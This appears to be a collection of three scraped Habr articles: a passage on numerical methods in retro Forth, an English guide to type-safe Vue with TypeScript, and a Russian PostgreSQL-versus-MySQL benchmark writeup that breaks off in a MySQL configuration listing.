Польза от выбранной нотации, по сравнению с обычными переменными Форта, заключается в том, что гораздо чаще с переменной значение считывается, а не записывается. Таким образом, вместо `x @ y @ + z !` будет `x y + (z)`, и многочисленные `@` и `f@` будут факторизованы.
### F-PC Forth
Для аутентичного погружения в старые добрые времена IBM PC AT, MS DOS и всё такое, я выбрал [F-PC Forth.](http://www.forth.org/compilers.html) Скачать fpc36.zip, распаковать, запускать под [dosbox](https://www.dosbox.com/). Работает всё из коробки, легко и просто.
F-PC Forth - стартовый экран.Это полноценная IDE, с редактором кода, отладчиком и интерактивной справкой. Удобные IDE не только Borland делал.
больше ретро экранов F-PC Forth 3.60Интерактивная справка.Пошаговый отладчик кода.REPLНаписал в этом старом Форте код для поиска корней уравнения [методом Риддера.](https://en.wikipedia.org/wiki/Ridders%27_method) Для сравнения здесь есть [код на Julia.](https://mmas.github.io/ridders-julia)
Поиск корня уравнения методом Риддера на F-PC Forth 3.60
```
DEFER F(X)
VARIABLES( MAXIT )
FVARIABLES( XL XM XH XNEW FL FM FH FNEW S RESULT ACCURACY UNLIKELY-VALUE )
-1.11E30 (UNLIKELY-VALUE)
1.0E-9 (ACCURACY)
50 (MAXIT)
: FSIGN ( R1 -- R1 ) F0< DUP NOT - IFLOAT ;
: F~ ( R1 R2 R3 -- FLAG ) F-ROT F- FABS F> ;
: ROOT-NOT-BRACKETED? ( FL FH -- FLAG )
FDUP F0< FOVER F0> AND
( FB ) F0> ( FA ) F0< AND OR NOT ;
: RIDDER ( R1 R2 -- R1 ) (XH) (XL)
XL F(X) (FL) XH F(X) (FH)
FL F0= IF XL EXIT THEN
FH F0= IF XH EXIT THEN
FL FH ROOT-NOT-BRACKETED?
IF ABORT" ROOT MUST BE BRACKETED IN ZRIDDR" THEN
UNLIKELY-VALUE (RESULT) FALSE
MAXIT 0
DO
XL XH F+ 2.0E F/ (XM) XM F(X) (FM)
FM FDUP F* FL FH F* F- FSQRT (S)
S F0=
IF RESULT TRUE LEAVE THEN
FL FH F- FSIGN XM XL F- F* FM F* S F/ XM F+ (XNEW)
XNEW RESULT ACCURACY F~
IF RESULT TRUE LEAVE THEN
XNEW (RESULT) XNEW F(X) (FNEW)
FNEW F0=
IF RESULT TRUE LEAVE THEN
FNEW FSIGN FM F* FM F= NOT
IF XM (XL) FM (FL) RESULT (XH) FNEW (FH)
ELSE FNEW FSIGN FL F* FL F= NOT
IF RESULT (XH) FNEW (FH) THEN
FNEW FSIGN FH F* FH F= NOT
IF RESULT (XL) FNEW (FL) THEN
THEN
XL XH ACCURACY F~
IF RESULT TRUE LEAVE THEN
LOOP
IF RESULT DROP
ELSE ." ZRIDDR EXCEED MAXIMUM ITERATIONS" DROP THEN ;
: FUNC FDUP FEXP FSWAP -5.0E F* 3.0E F+ F+ ;
' FUNC IS F(X)
1.25E 1.6E RIDDER F.
```
Кажется, получилось вполне читаемо, особенно если сравнивать с языками тех времен: BASIC, Fortran 77, Pascal.
### Структуры, массивы, матрицы
Форт не идет в комплекте с батарейками, но позволяет самому легко задать необходимые конструкции. Не стоит увлекаться чрезмерно общими вещами, ограничимся тем минимумом, что работает. Начнем со структур.
```
\ Structures
: structure:
create ( structure name ) here 0 0 ,
does> @ ;
: +field
create ( field name ) over , +
does> @ + ;
: (cell) aligned 1 cells +field ;
: (float) faligned 1 floats +field ;
: end-structure ( addr size -- ) swap ! ;
```
Здесь я уже переключился на более современный Форт, стандарта 1994. В сущности, F-PC может быть дополнен до этого стандарта, и код ANS Forth 94 поддерживается современными компиляторами, например, [win32forth](http://win32forth.sourceforge.net/), [Gforth](https://en.wikipedia.org/wiki/Gforth). Следуя духу ретро, я писал код в win32forth.
Win32forth IDEУ него тоже есть IDE и другие удобства, работает под Windows (под wine запускается без проблем). Структуры полезны при определении векторов и матриц, например:
```
\ Arrays
structure: array-structure
(cell) .array-data
(cell) .array-type
(cell) .array-size
end-structure
: array: ( size -- )
create
0 here .array-data ! here .array-type ! here .array-size !
array-structure allot ;
: array-allocate ( vec -- )
>r r@ .array-size @ r@ .array-type @ * allocate throw r> .array-data ! ;
: array-free ( vec -- )
>r r@ .array-data @ free throw 0 r> .array-data ! ;
: array-element ( i vec -- *vec[i] )
>r r@ .array-type @ * r> .array-data @ + ;
```
Критические по времени функции нужно выполнить в ассемблере, это даст прирост скорости матричных вычислений 3-5 раз. Работы не много. Ниже код для доступа к элементу массива чисел с плавающей запятой.
```
code fs-array-element
pop eax
mov ebx, [ebx]
lea ebx, [ebx] [eax*8]
next c;
```
Существует библиотека математических функций Форта - [The Forth Scientific Library Project](https://www.taygeta.com/fsl/sciforth.html), впрочем, там всё равно нет реализации алгоритма вычисления собственных значений симметричной действительной матрицы. Do it yourself! Берем книгу Голуб, Ч. Ван Лоун. *Матричные вычисления* и реализуем [алгоритм Якоби](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D0%AF%D0%BA%D0%BE%D0%B1%D0%B8_%D0%B4%D0%BB%D1%8F_%D1%81%D0%BE%D0%B1%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D1%8B%D1%85_%D0%B7%D0%BD%D0%B0%D1%87%D0%B5%D0%BD%D0%B8%D0%B9).
Циклический метод Якоби, псевдокод.
```
\ Cyclic Jacobi. Algorithm 8.5.3
\ Golub & Van Loan, Matrix Computations
fvariables( cos sin EPS )
variables( M EV MAXROT )
1.0e-10 (EPS)
50 (MAXROT)
: eig! (EV) (M)
EV matrix-set-identity!
MAXROT 0
do
M off-diagonal-norm EPS f<
if unloop exit then
M .matrix-rows @ 0
do M .matrix-cols @ i 1+
?do i j M sym.schur2 (sin) (cos)
cos sin i j M jacobi.rot'
cos sin i j M jacobi.rot
cos sin i j EV jacobi.rot
loop
loop
loop
." jacobi not converged" ;
```
Симпатично, практически псевдокод? [В этом и есть смысл Форта - создавать лексикон той области, в которой решается проблема.](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B5%D0%B4%D0%BC%D0%B5%D1%82%D0%BD%D0%BE-%D0%BE%D1%80%D0%B8%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D1%8B%D0%B9_%D1%8F%D0%B7%D1%8B%D0%BA) Вспомогательные слова к главному определению `eig` я опускаю, каждое содержит не больше строк, чем `eig`.
### Финал
Настало время решать поставленную задачу, а именно, согласно статье C. Clay Marston and Gabriel G. BalintKurti. *The Fourier grid Hamiltonian method for bound state eigenvalues and eigenfunctions* // J. Chem. Phys. 91, 3571 (1989); doi: [10.1063/1.456888](https://aip.scitation.org/doi/10.1063/1.456888) реализовать метод и посчитать, допустим, уровни энергии [осциллятора Морзе](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D1%82%D0%B5%D0%BD%D1%86%D0%B8%D0%B0%D0%BB_%D0%9C%D0%BE%D1%80%D0%B7%D0%B5). Иными словами, превратить рассуждения из фрагмента статьи ниже в практику.
The Fourier grid Hamiltonian method for bound state eigenvalues and eigenfunctions.
Последовательность действий:
1. Вычисляем суммы из уравнения (26)
2. Формируем [тёплицеву матрицу](https://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D1%82%D1%80%D0%B8%D1%86%D0%B0_%D0%A2%D1%91%D0%BF%D0%BB%D0%B8%D1%86%D0%B0) H
3. Создаем дискретную сетку по оси X
4. Табулируем потенциал V(x) в точках сетки
5. Добавляем табулированный потенциал к диагонали матрицы H
6. Находим собственные числа и собственные векторы (это и есть решение)
Суть метода Fourier grid Hamiltonian (FGH) умещается в два определения Форта:
```
\ Equation 26
fvariables( l d/N )
: sum (d/N)
1.0e (l)
0.0e ( N ) 1 rshift 0
do [ 2.0e fpi f* ] fliteral
l d/N f* f* fcos l f**2 f* f+
l 1.0e f+ (l)
loop ;
variables( diags n )
fvariables( dx 1/n )
: FGH! (diags) (dx)
diags .array-size @ (n)
n s>f 1/f (1/n)
[ -8.0e fpi f**2 f* ] fliteral
1/n fdup fdup f* f* f* dx f**2 1/f f*
n 0 do i s>f 1/n f* n sum fover f* i diags fa!
loop fdrop ;
```
Дальше идёт обычный [boilerplate code](https://en.wikipedia.org/wiki/Boilerplate_code) как объявления матриц, векторов, инициализация элементов, затем поиск собственных значений и распечатка результатов. На этом этапе стоит как следует поиграть с параметрами и воспользоваться интерактивностью Форта. Мы же как будто в прошлом, так? Никакого python/numpy, Matlab и Julia - просто усовершенствованный калькулятор.
Результат вычислений.Кому интересно, смотрите, я [выложил код на гитхабе](https://github.com/malykhin-sergei/ForthNum/blob/main/src/FGH-win32forth.fs).
### Заключение
Форт вполне себе мог c успехом заменять Fortran и что там еще было в то время. Не так то сложно жить с постфиксной записью, стеками и иметь дело с уровнем чуть выше машинных команд. Немаловажно и то, что результатом процесса работы над какой-то задачей в Форте будет или "нет, ну его ко всем чертям, где там это уже сделали, проще списать", или очень глубокое понимание каждой детали и сути происходящего.
Это всё философия, конечно. Однако, я могу себе представить какой-то численный Форт и сейчас, в наше время. Он может оказаться где то глубоко в оборудовании хитрого спектрометра, детектора... Было бы интересно узнать, где. | https://habr.com/ru/post/550508/ | null | ru | null |
# Really typing Vue
inb4: This is not another "setting up" a new project with Vue and TypeScript tutorial. Let's do some deep dive into more complex topics!
`typescript` is awesome. `Vue` is awesome. No doubt, that a lot of people [try to bundle them together](https://sobolevn.me/2019/03/from-flow-to-typescript). But, due to different reasons, it is hard to **really** type your `Vue` app. Let's find out what are the problems and what can be done to solve them (or at least minimize the impact).
TLDR
----
We have [this wonderful template](https://github.com/wemake-services/wemake-vue-template) with `Nuxt`, `Vue`, `Vuex`, and `jest` fully typed. Just install it and everything will be covered for you. Go [to the docs](https://wemake-services.gitbook.io/wemake-vue-template/) to learn more.
And as I said I am not going to guide you through the basic setup for three reasons:
1. There are a lot of existing tutorials about it
2. There are a lot of tools to get started with a single click like `Nuxt` and `vue-cli` with `typescript` plugin
3. We already have [`wemake-vue-template`](https://github.com/wemake-services/wemake-vue-template) where every bit of setup that I going to talk about is already covered
Component typings
-----------------
The first broken expectation when you start to work with `Vue` and `typescript` and after you have already typed your class components is that and `</code> tags are still not typed. Let me show you an example:</p><br/>
<pre><code class="plaintext"><template>
<h1 :class="$style.headr">
Hello, {{ usr }}!
</h1>
</template>
<script lang="ts">
import Vue from 'vue'
import Component from 'vue-class-component'
import { Prop } from 'vue-property-decorator'
@Component({})
export default class HelloComponent extends Vue {
@Prop()
user!: string
}
</script>
<style module>
.header { /\* ... \*/ }`
I have made two typos here: `{{ usr }}` instead of `{{ user }}` and `$style.headr` instead of `$style.header`. Will `typescript` save me from these errors? Nope, it won't.
What can be done to fix it? Well, there are several hacks.
### Typing the template
One can use `Vetur` with `vetur.experimental.templateInterpolationService` option to type-check your templates. Yes, this is only an editor-based check and it cannot be used inside the CI yet. But, `Vetur` team is working hard to provide a CLI to allow this. Track [the original issue](https://github.com/vuejs/rfcs/issues/64#issuecomment-505990139) in case you are interested.
The second option is two write snapshot tests with `jest`. It will catch a lot of template-based errors. And it is quite cheap in the maintenance.
So, the combination of these two tools provides you a nice Developer Experience with fast feedback and a reliable way to catch errors inside the CI.
### Typing styles
Typing `css-module`s is also covered by several external tools:
* [typings-for-css-modules-loader](https://github.com/Jimdo/typings-for-css-modules-loader)
* [css-modules-typescript-loader](https://github.com/seek-oss/css-modules-typescript-loader)
The main idea of these tools is to fetch `css-module`s and then create `.d.ts` declaration files out of them. Then your styles will be fully typed. It is still not implemented for `Nuxt` or `Vue`, but you can tract [this issue](https://github.com/nuxt/nuxt.js/issues/5426) for progress.
However, I don't personally use any of these tools in my projects. They might be useful for projects with large code bases and a lot of styles, but I am fine with just snapshots.
Styleguides with visual regression tests also help a lot. [`@storybook/addon-storyshots`](https://www.npmjs.com/package/@storybook/addon-storyshots) is a nice example of this technique.
Vuex
----
The next big thing is `Vuex`. It has some built-in by-design complexity for typing:
```
const result: Promise = this.$store.dispatch('action\_name', { payload: 1 })
```
The problem is that `'action_name'` might no exist, take other arguments, or return a different type. That's not something you expect for a fully-typed app.
What are the existing solutions?
### vuex-class
[`vuex-class`](https://github.com/ktsn/vuex-class) is a set of decorators to allow easy access from your class-based components to the `Vuex` internals.
But, it [is not typed safe](https://github.com/ktsn/vuex-class/issues/2) since it cannot interfere with the types of state, getters, mutations, and actions.
Of course, you can manually annotate types of properties.
But what are you going to do when the real type of your state, getters, mutations, or actions will change? You will have a hidden type mismatch.
### vuex-simple
That's where `vuex-simple` helps us. It actually offers a completely different way to write your `Vuex` code and that's what makes it type safe. Let's have a look:
```
import { Action, Mutation, State, Getter } from 'vuex-simple'
class MyStore {
// State
@State()
public comments: CommentType[] = []
// Getters
@Getter()
public get hasComments (): boolean {
return Boolean(this.comments && this.comments.length > 0)
}
// Mutations
@Mutation()
public setComments (payload: CommentType[]): void {
this.comments = updatedComments
}
// Actions
@Action()
public async fetchComments (): Promise {
// Calling some API:
const commentsList = await api.fetchComments()
this.setComments(commentsList) // typed mutation
return commentsList
}
}
```
Later this typed module can be registered inside your `Vuex` like so:
```
import Vue from 'vue'
import Vuex from 'vuex'
import { createVuexStore } from 'vuex-simple'
import { MyStore } from './store'
Vue.use(Vuex)
// Creates our typed module instance:
const instance = new MyStore()
// Returns valid Vuex.Store instance:
export default createVuexStore(instance)
```
Now we have a 100% native `Vuex.Store` instance and all the type information bundled with it. To use this typed store in the component we can write just one line of code:
```
import Vue from 'vue'
import Component from 'nuxt-class-component'
import { useStore } from 'vuex-simple'
import MyStore from './store'
@Component({})
export default class MyComponent extends Vue {
// That's all we need!
typedStore: MyStore = useStore(this.$store)
// Demo: will be typed as `Comment[]`:
comments = typedStore.comments
}
```
Now we have typed `Vuex` that can be safely used inside our project.
When we change something inside our store definition it is automatically reflected to the components that use this store. If something fails — we know it as soon as possible.
There are also different libraries that do the same but have different API. Choose what suits you best.
API calls
---------
When we have `Vuex` correctly setup, we need to fill it with data.
Let's have a look at our action definition again:
```
@Action()
public async fetchComments (): Promise {
// Calling some API:
const commentsList = await api.fetchComments()
// ...
return commentsList
}
```
How can we know that it will really return a list of `CommentType` and not a single `number` or a bunch of `AuthorType` instances?
We cannot control the server. And the server might actually break the contract. Or we can simply pass the wrong `api` instance, make a typo in the URL, or whatever.
How can we be safe? We can use runtime typing! Let me introduce [`io-ts`](https://github.com/gcanti/io-ts) to you:
```
import * as ts from 'io-ts'
export const Comment = ts.type({
'id': ts.number,
'body': ts.string,
'email': ts.string,
})
// Static TypeScript type, that can be used as a regular `type`:
export type CommentType = ts.TypeOf
```
What do we do here?
1. We define an instance of `ts.type` with fields that we need to be checked in runtime when we receive a response from server
2. We define a static type to be used in annotation without any extra boilerplate
And later we can use it our `api` calls:
```
import * as ts from 'io-ts'
import * as tPromise from 'io-ts-promise'
public async fetchComments (): Promise {
const response = await axios.get('comments')
return tPromise.decode(ts.array(Comment), response.data)
}
```
With the help of [`io-ts-promise`](https://github.com/aeirola/io-ts-promise), we can return a `Promise` in a failed state if the response from server does not match a `ts.array(Comment)` type. It really works like a validation.
```
fetchComments()
.then((data) => /* ... */
.catch(/* Happens with both request failure and incorrect response type */)
```
Moreover, return type annotation is in sync with the `.decode` method. And you cannot put random nonsense there:
With the combination of runtime and static checks, we can be sure that our requests won't fail because of the type mismatch.
But, to be 100% sure that everything works, I would recommend using contract-based testing: have a look at [`pact`](https://github.com/pact-foundation) as an example. And monitor your app with [`Sentry`](https://docs.sentry.io/platforms/javascript/vue/).
Vue Router
----------
The next problem is that `this.$router.push({ name: 'wrong!' })` does not work the way we want to.
I would say that it would be ideal to be warned by the compiler that we are routing to the wrong direction and this route does not exist.
But, it is not possible. And not much can be done: there are a lot of dynamic routes, regex, fallbacks, permissions, etc that can eventually break. The only option is to test each `this.$router` call in your app.
vue-test-utils
--------------
Speaking about tests I do not have any excuses not to mention `@vue/test-utils` that also has some problems with typing.
When we will try to test our new shiny component with `typedStore` property, we will find out that we actually cannot do that according to the `typescript`:
Why does this happen? It happens because `mount()` call does not know anything about your component's type, because all components have a `VueConstructor` type by default:
That's where all the problems come from. What can be done?
You can use [`vuetype`](https://github.com/ktsn/vuetype) to produce `YouComponent.vue.d.ts` typings that will tell your tests the exact type of the mounted component.
You can also track [this issue](https://github.com/vuejs/vue-test-utils/issues/255#issuecomment-356730130) for the progress.
But, I don't like this idea. These are tests, they can fail. No big deal.
That's why I stick to `(wrapper.vm as any).whatever` approach. This saves me quite a lot of time to write tests. But spoils Developer Experience a little bit.
Make your own decision here:
* Use `vuetype` all the way
* Partially apply it to the most important components with the biggest amount of tests and update it regularly
* Use `any` as a fallback
Conclusion
----------
The average level of `typescript` support in `Vue` ecosystem increased over the last couple of years:
* `Nuxt` firstly introduced `nuxt-ts` and now ships `ts` builds by default
* `Vue@3` will have improved `typescript` support
* More 3rd-party apps and plugins will provide type definitions
But, it is production ready at the moment. These are just things to improve! Writing type-safe `Vue` code really improves your Developer Experience and allows you to focus on the important stuff while leaving the heavy-lifting to the compiler.
What are your favourite hacks and tools to type `Vue` apps? Let's discuss it in the comment section. | https://habr.com/ru/post/458632/ | null | en | null |
# Миллионы запросов в секунду: мирная битва между PostgreSQL и MySQL при сегодняшних требованиях к рабочим нагрузкам
Мы уже упоминали, что в этом году тематика конференции [**PG Day’17 Russia**](http://pgday.ru/ru/2017?utm_source=habr&utm_medium=post&utm_campaign=pg_vs_mysql) значительно расширилась. Совместно с компанией **Percona** мы сформировали отдельный поток выступлений по **MySQL/NoSQL**. Помимо докладов от ведущих специалистов по открытым базам данных и no sql решениям, в рамках конференции состоятся также 2 эксклюзивных мастер-класса от ведущих специалистов Percona — **Петра Зайцева** и **Светы Смирновой**.
На мастер-классах будут рассмотрены самые различные темы по базам MySQL: создание и использование тестового сервера, тонкости отладки медленных запросов, особенности систем блокировок, влияние оборудования и конфигурации на производительность, сбор данных с минимальной нагрузкой на сервер.
Сегодня предлагаем вашему вниманию [перевод](https://www.percona.com/blog/2017/01/06/millions-queries-per-second-postgresql-and-mysql-peaceful-battle-at-modern-demanding-workloads/) небольшого обзора, в котором **Света Смирнова** ‒ старший инженер службы технической поддержки Percona и **Анастасия Распопина**, специалист по маркетингу, сравнивают как PostgreSQL и MySQL справляются с миллионами запросов в секунду.
5-го июля для участников [**PG Day’17**](http://pgday.ru/ru/2017/request/registration?utm_source=habr&utm_medium=post&utm_campaign=pg_vs_mysql) Светлана более подробно расскажет про архитектуру MySQL сервера и специфику работы с разными его частями, такими как оптимизатор, табличные движки, системы блокировок.
**Анастасия**: Могут ли базы данных с открытым исходным кодом справиться с миллионом запросов в секунду? Многие защитники открытого исходного кода ответят «да». Однако утверждений недостаточно для обоснованных доказательств. Именно поэтому в этой статье мы делимся результатами тестов от Александра Короткова (директора отдела разработки, [Postgres Professional](https://postgrespro.com/)) и Светы Смирновой (главный инженер по техническому обслуживанию, Percona). Сравнительное исследование производительности PostgreSQL 9.6 и MySQL 5.7 будет особенно полезно для сред с несколькими базами данных.
Идея этого исследования состоит в том, чтобы обеспечить честное сравнение двух популярных СУБД. Света и Александр хотели протестировать самые последние версии MySQL и PostgreSQL с помощью одного и того же инструмента при одних и тех же сложных рабочих нагрузках и с использованием одинаковых параметров конфигурации (где это возможно). Однако, поскольку экосистемы PostgreSQL и MySQL эволюционировали независимо друг от друга, со стандартными инструментами тестирования ([pgbench](https://www.postgresql.org/docs/9.6/static/pgbench.htm) and [SysBench](https://github.com/akopytov/sysbench)), используемыми для каждой базы данных, это было непросто.
Задача легла на экспертов по базам данных с многолетним практическим опытом. Света работала в качестве старшего главного инженера по технической поддержке в группе проверки ошибок службы поддержки MySQL в Oracle на протяжении восьми с лишним лет, а с 2015 года работала главным инженером по техническому обслуживанию в компании Percona. Александр Коротков является одним из основных разработчиков PostgreSQL и разработчиком ряда функций PostgreSQL, включая команду CREATE ACCESS METHOD, общий интерфейс WAL, неблокирующий Pin/UnpinBuffer, индексный поиск для регулярных выражений и многого другого. Итак, у нас подобрался довольно приличный актерский состав для этой пьесы!
**Света**: [Дмитрий Кравчук](http://dimitrik.free.fr/blog/index.html) регулярно публикует подробные результаты тестов для MySQL, так что задача была не в том, чтобы подтвердить, что MySQL может выполнить миллионы запросов в секунду. Как показывают наши графики, мы уже преодолели эту отметку. Будучи инженером поддержки, я часто сталкиваюсь с клиентами, работающими в гетерогенной среде с разными базами данных, и мне хотелось разобраться с влиянием переноса задач из одной базы данных в другую. Поэтому я была рада возможности поработать с компанией Postgres Professional и выявить сильные и слабые стороны этих двух баз данных.
Мы хотели протестировать обе базы данных на одном оборудовании, используя одинаковые инструменты и тесты. Мы собирались проверить базовую функциональность, а затем работать над более детальными сравнениями. Таким образом, мы могли бы сравнить различные сценарии использования из реальной жизни и их наиболее популярные вариации.
**Спойлер**: Мы пока далеки от окончательных результатов. Это начало серии статей.
Базы данных с открытым исходным кодом на больших машинах, серия 1: «Это было близко…»
Postgres Professional вместе с [Freematiq](http://freematiq.com/) предоставили для тестов две мощные современные машины.
Конфигурация оборудования:
> Процессоры: физические = 4, ядра = 72, виртуальные = 144, hyperthreading = да
>
> Память: 3 TB
>
> Скорость диска: около 3K IOPS
>
> ОС: CentOS 7.1.1503
>
> Файловая система: XFS
>
> Также я использовала менее производительную машину Percona.
>
> Конфигурация оборудования:
>
> Процессоры: физические = 2, ядра = 12, виртуальные = 24, hyperthreading = да
>
> Память: 251.9 GB
>
> Скорость диска: около 33K IOPS
>
> ОС: Ubuntu 14.04.5 LTS
>
> Файловая система: EXT4
Обратите внимание, что машины с меньшим количеством процессорных ядер и более быстрыми дисками чаще используются для инсталляций MySQL, чем машины с большим количеством ядер.
Первое, что нам нужно было согласовать, — это какой инструмент использовать. Справедливое сравнение имеет смысл только в том случае, если рабочие нагрузки максимально приближены.
Стандартный инструмент PostgreSQL для тестирования производительности — [pgbench](https://www.postgresql.org/docs/9.6/static/pgbench.html), а для MySQL — [SysBench](https://github.com/akopytov/sysbench). SysBench поддерживает несколько драйверов баз данных и скрипты для тестов на языке программирования Lua, поэтому мы решили использовать этот инструмент для обеих баз данных.
Первоначальный план состоял в том, чтобы преобразовать тесты pgbench в синтаксис SysBench на Lua, а затем запустить стандартные тесты для обеих баз данных. Получив первые результаты, мы изменили наши тесты, чтобы лучше изучить специфические возможности MySQL и PostgreSQL.
Я сконвертировала тесты pgbench в синтаксис SysBench и поместила тесты в репозиторий [open-database-bench](https://github.com/svetasmirnova/open-database-bench) на GitHub.
И тогда мы оба столкнулись с трудностями.
Как я уже писала, я также прогоняла тесты на машине Percona. Для этого сконвертированного теста результаты были почти идентичными:
**Машина Percona:**
```
OLTP test statistics:
transactions: 1000000 (28727.81 per sec.)
read/write requests: 5000000 (143639.05 per sec.)
other operations: 2000000 (57455.62 per sec.)
```
**Машина Freematiq:**
```
OLTP test statistics:
transactions: 1000000 (29784.74 per sec.)
read/write requests: 5000000 (148923.71 per sec.)
other operations: 2000000 (59569.49 per sec.)
```
Я начала разбираться. Единственным, в чём машина Percona превосходила Freematiq, была скорость диска. Поэтому я начала прогонять read-only тест pgbench, который был идентичен point select тесту SysBench с полным набором данных в памяти. Но на этот раз SysBench использовал 50% доступных ресурсов CPU:
```
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
4585 smirnova 20 0 0,157t 0,041t 9596 S 7226 1,4 12:27.16 mysqld
8745 smirnova 20 0 1266212 629148 1824 S 7126 0,0 9:22.78 sysbench
```
У Александра, в свою очередь, были проблемы с SysBench, который не мог создать высокую нагрузку на PostgreSQL при использовании prepared statements:
```
93087 korotkov 20 0 9289440 3,718g 2964 S 242,6 0,1 0:32.82 sysbench
93161 korotkov 20 0 32,904g 81612 80208 S 4,0 0,0 0:00.47 postgres
93116 korotkov 20 0 32,904g 80828 79424 S 3,6 0,0 0:00.46 postgres
93118 korotkov 20 0 32,904g 80424 79020 S 3,6 0,0 0:00.47 postgres
93121 korotkov 20 0 32,904g 80720 79312 S 3,6 0,0 0:00.47 postgres
93128 korotkov 20 0 32,904g 77936 76536 S 3,6 0,0 0:00.46 postgres
93130 korotkov 20 0 32,904g 81604 80204 S 3,6 0,0 0:00.47 postgres
93146 korotkov 20 0 32,904g 81112 79704 S 3,6 0,0 0:00.46 postgres
```
Мы связались с автором SysBench Алексеем Копытовым, и он предложил следующее решение для MySQL:
• используйте SysBench с параметрами *--percentile=0* и *--max-requests=0* (разумное использование CPU);
• используйте ветвь [concurrency\_kit](https://github.com/akopytov/sysbench/) (лучший параллелизм и обработка Lua);
• перепишите скрипты Lua для поддержки prepared statements (pull request: [github.com/akopytov/sysbench/pull/94](https://github.com/akopytov/sysbench/pull/94));
• запускайте как SysBench, так и mysqld с предварительно загруженной библиотекой jemalloc или tmalloc.
Исправление для PostgreSQL уже на подходе. На данный момент Александр преобразовал стандартный тест SysBench в [формат pgbench](https://github.com/postgrespro/pg_oltp_bench), и на этом мы застопорились. Не так много нового для MySQL, но, по крайней мере, у нас была исходная точка для сравнения.
Следующая трудность, с которой я столкнулась, — это параметры операционной системы по умолчанию. Если коротко, то я изменила их на рекомендуемые (описано ниже):
```
vm.swappiness=1
cpupower frequency-set --governor performance
kernel.sched_autogroup_enabled=0
kernel.sched_migration_cost_ns= 5000000
vm.dirty_background_bytes=67108864
vm.dirty_bytes=536870912
IO scheduler [deadline]
```
Эти же параметры были лучше и для производительности PostgreSQL. Александр настроил свою машину аналогично.
После решения этих проблем мы узнали и реализовали следующее:
• мы не можем использовать один инструмент (пока);
• Александр написал тест для pgbench, имитирующий стандартные тесты SysBench;
• мы все еще не можем писать кастомные тесты, поскольку используем разные инструменты.
Но мы могли бы использовать эти тесты в качестве исходной точки. После работы, выполненной Александром, мы застряли в стандартных тестах SysBench. Я преобразовала их для использования [prepared statements](https://github.com/akopytov/sysbench/pull/94), а Александр преобразовал их в [формат pgbench](https://github.com/postgrespro/pg_oltp_bench).
Стоит упомянуть, что я не смогла получить такие же результаты, как у Дмитрия, для тестов Read Only и Point Select. Они похожи, но немного медленнее. Нам нужно разобраться, является ли это результатом использования разных аппаратных средств или недостатком навыков в области тестирования производительности с моей стороны. Результаты тестов Read-Write совпадают.
Между тестами PostgreSQL и MySQL было еще одно различие. У пользователей MySQL обычно много соединений. Установка значения переменной max\_connections для ограничения общего числа параллельных подключений до тысяч не редкость в наши дни. Хотя это и не рекомендуется, люди используют данную функцию даже без [плагина thread pool](https://www.percona.com/doc/percona-server/5.7/performance/threadpool.html). В реальной жизни большинство этих соединений неактивны. Но всегда есть шанс, что все они окажутся задействованы в случае увеличения активности веб-сайта.
Для MySQL я проводила тесты до 1024 соединений. Я использовала степени двойки и множители количества ядер: 1, 2, 4, 8, 16, 32, 36, 64, 72, 128, 144, 256, 512 и 1024 потока.
Для Александра было важнее провести тест меньшими шагами. Он начал с одного потока и увеличивал на 10 потоков, пока не достиг 250 параллельных потоков. Таким образом, вы увидите более подробный график для PostgreSQL, но результатов после 250 потоков нет.
Вот результаты сравнения.
**Point SELECT**
pgsql-9.6 — стандартный PostgreSQL
pgsql-9.6 + pgxact-align — PostgreSQL с [этим патчем](https://www.postgresql.org/message-id/CAPpHfdtJY4zOEDsjad6J5AyZMqZcv6gSY9AkKpA7qN3jyQ2+1Q@mail.gmail.com) (подробнее можно почитать в [этой статье](http://akorotkov.github.io/blog/2016/05/09/scalability-towards-millions-tps/))
MySQL-5.7 Dimitri — сервер Oracle MySQL
MySQL-5.7 Sveta — сервер Percona 5.7.15
**OLTP RO**
**OLTP RW**
Функция синхронного подтверждения транзакций (sync commit) в PostgreSQL аналогична *innodb\_flush\_log\_at\_trx\_commit=1* в InnoDB, а асинхронный коммит аналогичен *innodb\_flush\_log\_at\_trx\_commit=2*.
Вы видите, что результаты очень похожи: обе базы данных развиваются очень быстро и хорошо работают с современным оборудованием.
**Результаты MySQL, которые показывают 1024 потока для справки.**
**Point SELECT и OLTP RO**
**OLTP RW с innodb\_flush\_log\_at\_trx\_commit, установленным на 1 и 2**
Получив эти результаты, мы провели несколько специальных тестов, которые будут рассмотрены в отдельных статьях.
### **Дополнительная информация**
**Опции MySQL для тестов OLTP RO и Point SELECT:**
```
# general
table_open_cache = 8000
table_open_cache_instances=16
back_log=1500
query_cache_type=0
max_connections=4000
# files
innodb_file_per_table
innodb_log_file_size=1024M
innodb_log_files_in_group=3
innodb_open_files=4000
# Monitoring
innodb_monitor_enable = '%'
performance_schema=OFF #cpu-bound, matters for performance
#Percona Server specific
userstat=0
thread-statistics=0
# buffers
innodb_buffer_pool_size=128000M
innodb_buffer_pool_instances=128 #to avoid wait on InnoDB Buffer Pool mutex
innodb_log_buffer_size=64M
# InnoDB-specific
innodb_checksums=1 #Default is CRC32 in 5.7, very fast
innodb_use_native_aio=1
innodb_doublewrite= 1 #https://www.percona.com/blog/2016/05/09/percona-server-5-7-parallel-doublewrite/
innodb_stats_persistent = 1
innodb_support_xa=0 #(We are read-only, but this option is deprecated)
innodb_spin_wait_delay=6 #(Processor and OS-dependent)
innodb_thread_concurrency=0
join_buffer_size=32K
innodb_flush_log_at_trx_commit=2
sort_buffer_size=32K
innodb_flush_method=O_DIRECT_NO_FSYNC
innodb_max_dirty_pages_pct=90
innodb_max_dirty_pages_pct_lwm=10
innodb_lru_scan_depth=4000
innodb_page_cleaners=4
# perf special
innodb_adaptive_flushing = 1
innodb_flush_neighbors = 0
innodb_read_io_threads = 4
innodb_write_io_threads = 4
innodb_io_capacity=2000
innodb_io_capacity_max=4000
innodb_purge_threads=4
innodb_max_purge_lag_delay=30000000
innodb_max_purge_lag=0
innodb_adaptive_hash_index=0 (depends on workload, always check)
```
**Опции MySQL для OLTP RW:**
```
#Open files
table_open_cache = 8000
table_open_cache_instances = 16
query_cache_type = 0
join_buffer_size=32k
